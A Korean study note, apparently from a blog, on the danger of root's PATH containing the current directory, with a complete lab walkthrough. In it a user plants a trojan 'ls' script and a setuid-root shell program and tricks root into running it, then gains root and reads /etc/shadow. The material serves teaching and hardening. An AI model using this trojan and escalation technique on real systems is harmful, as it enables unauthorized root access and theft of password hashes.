본문 바로가기

Learning/└◆리눅스 서버 보안

01_관리자의 잘못된 PATH 변수 설정

관리자의 잘못된 PATH 변수 설정




(주의) 관리자(EX:root)의 PATH 변수 설정은 현재 디렉토리가 포함되어 있으면 안된다.


■ 관리자의 잘못된 PATH 변수 설정 예

PATH=.:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:.

PATH=:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:

PATH=/bin::/usr/bin:/usr/sbin

변수설정의 순서도 중요하다 순서대로 검색하고 대상을 찾으면 멈춘다.

PATH 변수에 대해서

- 명령어가 있는 디렉토리를 선언할 때 사용하는 변수


# ls 

(절대경로) # /bin/ls

(상대경로) # cd /bin

 # ./ls


cd /test

export PATH=$PATH:/test

echo $PATH


(root 사용자)


[TERM1] root 사용자의 윈도우

# unalias ls 

#


# useradd hacker 

# passwd hacker    (# echo hacker | passwd --stdin hacker)


Changing password for user hacker.

New UNIX password: (hacker)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (hacker)

passwd: all authentication tokens updated successfully.



# export PATH=.:$PATH  <-- . 으로 현재폴더를 검색하게 된다.

# echo $PATH 


.:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin





(Hacker 사용자)


[TERM2] hacker 사용자의 윈도우

# telnet localhost 

hacker 사용자로 로그인


$ id 


uid=503(hacker) gid=503(hacker) groups=503(hacker)



$ pwd 


/home/hacker



$ vi /tmp/.hacker.c 


#include<stdio.h>


int main()

{

        setuid(0);

        setgid(0);

        system("/bin/bash");

}

#include <sys/types.h>

#include <unistd.h>

#include <stdlib.h>


main(){

    setuid(0);

    setgid(0);

    system("/bin/bash");

}




$ gcc -o /tmp/.hacker /tmp/.hacker.c 

$ ls -l /tmp/.hacker 


-rwxrwxr-x 1 hacker hacker 5149 Sep 16 13:13 /tmp/.hacker



$ cd 

$ vi ls 


#!/bin/bash


chown root /tmp/.hacker

chmod u+s /tmp/.hacker


rm -f $0

rm -f /tmp/.hacker.c


/bin/ls $*



$ chmod 755 ls 

$


$ cat > -i 


Your System Hacking!!!!!

<CTRL + D>



$ ls 


-i        ls



=====> 관리자 Call (도움 요청 내용: '-i' 파일을 지울수 없다.)



(root 사용자)


[TERM1] root 사용자의 윈도우

# cd ~hacker      (# cd /home/hacker)

# ls 

-> ① PATH 변수 참조

-> ② 현재디렉토리 검색

-> ③ 현재디렉토리 밑에 있는 ls 명령어 수행


# rm -i 

# rm \-i 

# rm '-i' 

# rm "-i" 

[참고] # find . -inum 450 -type f -exec rm -f {} \;

ls -li 


(Hacker 사용자)


[TERM2] hacker 사용자의 윈도우

$ ls -l /tmp/.hacker 


-rwsrwxr-x 1 root hacker 5149 Sep 16 09:23 /tmp/.hacker



$ /tmp/.hacker 

$ id -a 


uid=0(root) gid=0(root) groups=503(hacker)



$ cat /etc/shadow 

-> 정상적으로 내용이 보인다.


$ exit